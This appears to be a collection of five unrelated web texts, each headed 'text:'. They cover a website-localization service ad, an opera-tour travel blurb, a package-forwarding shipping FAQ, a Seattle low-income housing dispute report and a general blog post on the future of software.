Simple translation of your content into your customer's native language is not enough to drag customer's attention or to achieve success in global markets. You need to ensure that your site is localized for audiences in your target market. Optimization of your site for the most popular search engines in your target region is also important. We provide a bespoke professional website translation service for corporate websites, eCommerce retailers, technology and online gaming companies to ensure that they can maximize their global reach. We have the most appropriate team of professionals for your website localization. We also ensure the cultural knowledge and expertise to engage with your target audience – regardless of their culture, tradition, language or any prevailing rule in the region.
For your website to rank in the global platform and to make your customers understand better about your company's product and services, the source language is not enough. Because, it might miss out some potential customers in that way. Website localization breaks that barrier and makes customers more comfortable using your website and thus knowing your services better. More user friendly UI, instinctive UX and powerful API can uplift customers satisfaction. In localizing a SaaS site, one of the frequently occurring design related problems is with the space occupied by the text. The number of letters required to express a particular word in different languages are different. So that sometimes even leads to changes in your websites layout. So, website localization not only requires knowledge of translation, but requires some technical knowledge too. Here in Transoplanet, we offer professional translation services for website localization that are performed only by well experience and skilled professionals.
Category :Website localization (SAAS)
Client :Company Name
Date :27th Jun, 2018
Link :www.Themekalia.com


text:
Editors' Picks
Our Favorite Shop-Small Destinations of the Year
Our editors' picks for special finds at unique stores.
Editors' Picks
Our Favorite Travel Essentials of the Year
Everything you need for your 2023 travel: our editors' picks for on-the-road...
"Music, especially opera, interacts with the senses in the purest way," says Heinz Patzak, "which is why watching a great performance often turns into such an extremely emotional experience." Patzak's company, Panopera, makes this experience available to their clients by organizing high-end opera tours all over the world. The Vienna-based company not only guarantees the best seats for events like the Verdi Gala with Placido Domingo in Parma or Robert Carson's provocative Les Contes d'Hoffmann in Paris, but they also carefully coordinate fine hotels and restaurants and musical reference points. During a weekend in Salzburg, Patzak compiled a roundup of important composers' landmarks, such as Beethoven's house and the room in which Mozart composed Le Nozze di Figaro. Instead of simply touring the premises, though, musicians performed the composers' works sur place, culminating in a string quartet which played excerpts from The Four Seasons at Vivaldi's grave.
Patzak's true passion is organizing custom-made corporate tours: whether it's dinner onstage at the Prague Opera House or a cruise on the Po River with a performance under the stars in Verona. Whereas in the past these tours had a primarily European audience, this year they are offered to an American clientele. For custom events, ask for Mr. Patzak. Schottenring 23, A-1010 Vienna, Austria; 43-1-310-2541.


text:
If you would like to inquire on additional insurance, email firstname.lastname@example.com with your request. Please include your Suite and Package number.
Goods can be unshippable if relevant organizations classify them as:
If we receive products we can't ship, we will reach out to you. We have the right to refuse any product we feel is unsuitable to ship, even if it is legal.
If an unshippable item makes it through our receiving process, this does not necessarily mean we can ship it.
Check out our Terms and Conditions for a more detailed description of Unshippable/Prohibited items.
A package's tracking information isn't always updated right away. Please allow up to 24 hours after your package ships. If you don't see an update after 1 business day, feel free to contact us. We'll be happy to look into it for you!
If you shipped your package with either USPS Airmail-Non-Tracking or USPS ePACKET the tracking for these services is provided by Globegisticsinc. For the most up to date tracking search your tracking number on their website at https://globegisticsinc.com/#.
Packages, Parcels, and mail sent to us without a "My Incoming Package Form" (aka ASN) will receive a $0.50 receiving fee. Submissions with false or incorrect tracking numbers will incur the fee. Honest mistakes or issues will be forgiven.
If you want your package to ship ASAP, please do your best to pay before 12pm EST.
Our ability to ship later in the day depends on our daily volume. If we aren't able to ship your package the same day you pay, we will ship it the next business day!
We cannot ship human growth hormones of any kind. Please do not ship human growth hormones to your myMallBox suite.
Common examples of human growth hormones include
Please note: Even supplements and vitamins legally purchased for bodybuilding purposes that are not FDA approved (such as Creatine) are still considered prohibited items.
Don't worry - "clearance event" simply means that your package is being processed at customs. Unless you are contacted, your package will be on its way once it is fully processed.
We will store your package(s) for free up to 90 days. After 90 days, your package will cost $8 more to ship.
After 120 days we will liquidate the contents. The storage limit is cumulative and applies to consolidated packages as well. The 90-day and 120-day cycles do not reset after repackaging your products.
If you are not sure how long your package has been stored in our warehouse check the received date for your package. This is found within the package information on the "My Packages" page.
We currently only accept PayPal through our website.
If you need to pay using a credit or debit card, please send a request to email@example.com. We will email you a PayPal invoice, which you can pay with your card (a PayPal account is not required). This option is not available to customer in some countries. It is best the check with Paypal to see if this option is available for you.
We currently offer 4 different carrier options for shipping your packages. The shipping options available for your individual package will vary depending on the weight, size and destination for your package.
3. USPS ePACKET
4. USPS Airmail-Non-Tracking


text:
Plymouth Housing: Protesters are Spreading "Misinformation"
In response to a widely distributed leaflet trashing the low-income housing group's plans to build a new apartment building at Third and Virginia—the leaflet blamed low-income downtown residents for the open-air drug markets and rampant low-level crime in the neighborhood—Plymouth Housing Group director Paul Lambros and board president Angus Cunningham wrote a letter to community members responding to what they called "a misleading document."
(In an email, Lambros commented wryly that his letter "may not have gone to as many folks as the [anti-Plymouth] piece did.")
"The new building will provide permanent, affordable housing to low-income individuals including units that will be reserved for veterans," as opposed to both housing and services for formerly homeless adults. "This building is designed for long-term downtown residents who are able to live independently – they will not need Plymouth's robust spectrum of supportive services that help stabilize someone coming directly from homelessness."
Although the owner of the company that printed the flyer, George Nikfard of Swifty Printing on Third and Virginia, denied distributing the leaflets, Lori Nikfard, who is married to one of Swifty's owners, responded to the email included on the flyers. (She used the name "Lori Baker" in her email). Additionally, Lambros says the Nikfards acknowledged producing the flyers when they showed up to protest the development at a recent city design review board meeting—a meeting at which comments were supposed to be confined to the design of the building.


text:
The (Far-Out) Future of Software
Software making has evolved over the years, and continues to evolve. Although we have already moved light years ahead since the first piece of code was written by Ada Lovelace in the 19th century, it is really still in its infancy. Developers spend their time sorting out tiny details to make sure that tasks are carried out precisely and effectively, but although it is still a slow and complex process, it is advancing super quickly and we can only expect great things to come. Here are some predictions about what the coding crystal ball may say about the future of software.
The Need for Security is Getting Scarier
After Brian Krebs, a cybersecurity reporter's website was taken down by a Mirai botnet using the Internet of Things (IoT) devices to target victims, the world started getting nervous – and rightly so. This was a wake-up call for programmers all over. Forbes predicts that we will have more than 80 billion smart devices by 2025. Who doesn't have a Fitbit or an Apple Watch these days? We expect that security will get a lot tighter when coding for these IoT devices.
Data Stays at The Top of the Game
Data gathering, parsing, curating and collating should keep being a top enterprise job. The number crunchers will continue needing the numbers and the programmers will continue being tasked with delivering data in easier ways to understand. Cloud-based data centres are becoming increasingly prevalent and the fate of information servers, even in South Africa where our bandwidth is not the greatest, is drawing ever closer to the cloud.
Machine Learning Will Become Standard
Although it won't happen overnight, more and more business plans are going to depend on machine learning algorithms. With digital information being at our (and our machines') fingertips, it is becoming easier to code machines to think like humans while giving them access to information. Through neural networks computers are able to compute the world in the way that we do while retaining advantages like accuracy, lack of bias and speed.
Does this mean that AI is Inevitable?
While some imagine a future in which robots are doing everything, while we're drinking martinis at the poolside, movies like Terminator and iRobot have made a lot of us a bit more skeptical – especially of artificial intelligence (AI). Distrust aside, AI is an integral part of the future of software. In an article on acm.org it is reported that AI activity already started increasing in 2016 with Amazon launching an AI platform, Google launching an AI group and General Electric acquiring two AI startups. Forrester predicts that AI will blur the boundaries between structured and unstructured data.
Visionaries like Elon Musk believe that AI can alter the landscape of the world and could even be the cause of World War III. We are hoping that this ominous warning won't be realised, and all these incredible developments will instead just make software development more exciting.